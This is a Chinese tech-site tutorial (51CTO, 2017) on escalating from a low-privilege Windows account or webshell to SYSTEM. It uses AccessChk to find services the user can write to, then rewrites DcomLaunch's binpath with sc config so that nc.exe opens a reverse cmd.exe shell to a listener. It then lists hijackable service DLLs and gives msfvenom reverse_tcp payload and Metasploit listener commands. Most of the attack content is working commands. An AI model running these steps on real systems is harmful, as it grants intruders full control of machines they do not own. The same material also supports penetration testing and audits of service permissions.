|
|
51CTO旗下网站
|
|
移动端

Windows低权限进程或服务提权

在实际渗透过程中,有可能获取了该操作系统下的一个普通用户帐号权限,或者webshell权限,通过低权限用户进行越权,有可能获取系统权限;其利用原理是本文要介绍的内容。

作者:simeon来源:51CTO.com|2017-04-17 19:48

【51CTO.com原创稿件】在实际渗透过程中,有可能获取了该操作系统下的一个普通用户帐号权限,或者webshell权限,通过低权限用户进行越权,有可能获取系统权限;其利用原理主要是通过微软的AccessChk工具软件,配合sc来操作服务,通过服务的重启而得到权限。

一、AccessChk简介及使用

1. AccessChk简介

AccessChk是Sysinternals中的一个小工具,目前最新版本为6.1,新版本存在一些bug,在实际使用时会提示需要多个dll文件,在本案例中使用的是3.0版本,其官方网站下载地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx

AccessChk主要用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限详细情况,在实际配置过程中如果权限设置失误,则就可以被用来提权。

2. 使用AccessChk

命令行下第一次运行需要同意一个许可,如果不想出现那个提示窗口,则可以执行“accesschk.exe /accepteula”。其主要参数如下:

  1. usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object> 

这个命令分为三个部分accesschk是程序名;第一个参数有9个可选项[],部分可选项里还有可选参数;第二个参数是一个目标,这个目标可以是文件,目录,注册项,进程,服务,对象。

  • -a 名称是Windows帐户权限。指定“*”作为显示所有分配给用户的权限名称,只有指定用户名称或者组时才显示指派的权限。
  • -c 显示服务名称,“*”显示所有服务。
  • -d 仅处理目录或顶级键
  • -e 只显示显式设置完整性级别(Windows Vista和更高版本系统)
  • -f 显示包含组和特权的完整过程令牌信息
  • -k 注册表键值,例如 hklm\software
  • -i 在取消完全访问控制列表时忽略只继承继承符的对象
  • -l 显示全部访问控制列表。添加“-I”忽略继承ACEs
  • -n 仅显示没有访问权限的对象
  • -o 名称是对象管理器命名空间中的一个对象(默认是root)。查看一个目录的内容,用反斜线或-S-T和对象类型指定名称
  • -p 进程名或者PID,例如cmd.exe (使用 '*'显示所有的进程). 加“-f ”显示包括组和特权的所有进程令牌信息,加“-t”显示线程。
  • -q 省略标识
  • -r 显示对象只读属性
  • -s 递归
  • -t 对象类型筛选器
  • -u 抑制错误
  • -v 冗长(包括Windows Vista完整性级别)
  • -w 仅显示具有写访问的对象

(1)查看用户服务,查看管理员组、users组下所有服务:

  1. accesschk administrators -c * 
  2. accesschk users -c * 

如图1所示,可以对某个用户进行查看,主要用来提权用,例如查看simeon用户具备读写服务器权限:

accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *

查看指定用户的服务权限

图1查看指定用户的服务权限

(2)查看用户组对系统服务具备写权限,如果有则会显示,否则会提示“No matching objects found”。

  1. accesschk.exe -uwcqv "Authenticated Users" * 
  2. accesschk.exe -uwcqv "Administrators" * 
  3. accesschk.exe -uwcqv "Backup Operators" * 
  4. accesschk.exe -uwcqv "Distributed COM Users" * 
  5. accesschk.exe -uwcqv "Guests" * 
  6. accesschk.exe -uwcqv "HelpServicesGroup" * 
  7. accesschk.exe -uwcqv "IIS_WPG" * 
  8. accesschk.exe -uwcqv "Network Configuration Operators" * 
  9. accesschk.exe -uwcqv "Performance Monitor Users" * 
  10. accesschk.exe -uwcqv "Performance Log Users" * 
  11. accesschk.exe -uwcqv "Power Users" * 
  12. accesschk.exe -uwcqv "Print Operators" * 
  13. accesschk.exe -uwcqv "Remote Desktop Users" * 
  14. accesschk.exe -uwcqv "Replicator" * 
  15. accesschk.exe -uwcqv "TelnetClients" * 
  16. accesschk.exe -uwcqv "Users" * 

二、获取低权限可操作服务名称

1. 实验环境

(1)本次实验环境为Windows 2003 Sever SP3,用户simeon属于power user组,可以登录系统。

(2)IP地址:192.168.52.175

(3)监听服务IP:192.168.52.215

(4)nc.exe复制到c:\windows\temp目录

2. 获取可读写的服务

执行命令以下命令获取Power Users组可以操作的服务名称信息,如图2所示。

  1. accesschk.exe -uwcqv "Power Users" * 

执行后显示结果如下:

  1. RW DcomLaunch 
  2.         SERVICE_QUERY_STATUS 
  3.         SERVICE_QUERY_CONFIG 
  4.         SERVICE_CHANGE_CONFIG 
  5.         SERVICE_INTERROGATE 
  6.         SERVICE_ENUMERATE_DEPENDENTS 
  7.         READ_CONTROL 
  8. RW kdc 
  9.         SERVICE_QUERY_STATUS 
  10.         SERVICE_QUERY_CONFIG 
  11.         SERVICE_CHANGE_CONFIG 
  12.         SERVICE_INTERROGATE 
  13.         SERVICE_ENUMERATE_DEPENDENTS 
  14.         READ_CONTROL 

获取可读写的服务名称信息

图2获取可读写的服务名称信息

3. 查询服务详细信息

服务名称为“DcomLaunch”、“kdc”可以被simeon用户进行操作。使用sc qc kdc命令查询kdc服务的详细信息,如图3所示,可以看到该服务是以系统权限运行的。

获取可读写的服务名称信息

图3查询kdc服务详细信息

4 .决定使用那个服务

执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图4所示,在启动服务列表中发现“DCOM Server Process Launcher”服务名称。

  1. net start | find "DCOM Server Process Launcher"  
  2. net start | find "Kerberos Key Distribution Center" 

获取服务名称

图4获取服务名称

5. 获取服务名称对应的服务

使用命令“tasklist /svc”,如图5所示,获取“DCOM Server Process Launcher”服务名称所对应的服务“DcomLaunch”。

获取DcomLaunch服务信息

图5获取DcomLaunch服务信息

三、修改服务并获取系统权限

1. 修改服务参数binpath值

使用sc命令对服务进行修改:

  1. sc config DcomLaunch binpath"C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe" 

如图6所示,执行命令后,显示修改服务配置成功,再次使用sc qc DcomLaunch,显示执行文件已经更改为:

  1. C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe 

查询服务:sc qc DcomLaunch

修改服务binpath值

图6修改服务binpath值

2. 启动服务

先执行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通过命令下启动,使用“net start DcomLaunch”命令,也可以通过services.msc服务管理器重启该服务,如图7所示。

重新启动服务

图7重新启动服务

3. 反弹获取服务器权限

如图8所示,在反弹服务器中192.168.52.215监听4433端口,成功获取来自192.168.52.175的反弹,且为系统权限。

反弹获取系统权限

图8反弹获取系统权限

4. 总结

在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替换:

  1. IKE and AuthIP IPsec Keying Modules (IKEEXT)    – wlbsctrl.dll 
  2. Windows Media Center Receiver Service (ehRecvr)    – ehETW.dll 
  3. Windows Media Center Scheduler Service (ehSched)  – ehETW.dll 
  4. Automatic Updates (wuauserv)    – ifsproxy.dll 
  5. Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll 
  6. Remote Access Connection Manager (RasMan)   – ipbootp.dll 
  7. Windows Management Instrumentation (winmgmt)    – wbemcore.dll 
  8. Audio Service (STacSV)    – SFFXComm.dll SFCOM.DLL  
  9. Intel(R) Rapid Storage Technology (IAStorDataMgrSvc)  – DriverSim.dll 
  10. Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll 

(1)使用msf生成exe文件

Linux msf监听4433端口

  1. ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe 

windows下监听4433端口

  1. ./msfvenom -p windows/shel/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe 

其中平台参数(-p)可以设置为以下的一些,也可以使用msfvenom -l payload | grep 'reverse'进行查看和选择:

  1. windows/shell/reverse_tcp 
  2. windows/x64/shell_reverse_tcp 
  3. windows/shell_reverse_tcp 
  4. windows/shell/reverse_tcp 

(2)在msf上面执行

  1. set payload windows/meterpreter/reverse_tcp 
  2. show options 
  3. set lhost 192.168.52.215 
  4. set lport 4433 
  5. run 0 

(3)将生成的/tmp/my_payload.exe按照本文上面的方法执行后即可得到反弹的webshell

【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】

【编辑推荐】

  1. 通过SQL Server与PowerUpSQL获取Windows自动登录密码
  2. Edge用户注意!谷歌披露未打补丁的Windows漏洞
  3. 攻击Windows平台NVIDIA驱动程序
  4. 保护内网安全之Windows工作站安全基线开发
  5. HEVD内核漏洞训练——陪Windows玩儿
【责任编辑:IT疯 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

嬴在用户:Web人物角色创建和应用实践指南

您如何保证您的网站确实给予用户他们所需要的,并对您产生商业成果?您需要了解谁是您的用户,您的用户的目标、行为和观点是什么,还要把他...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊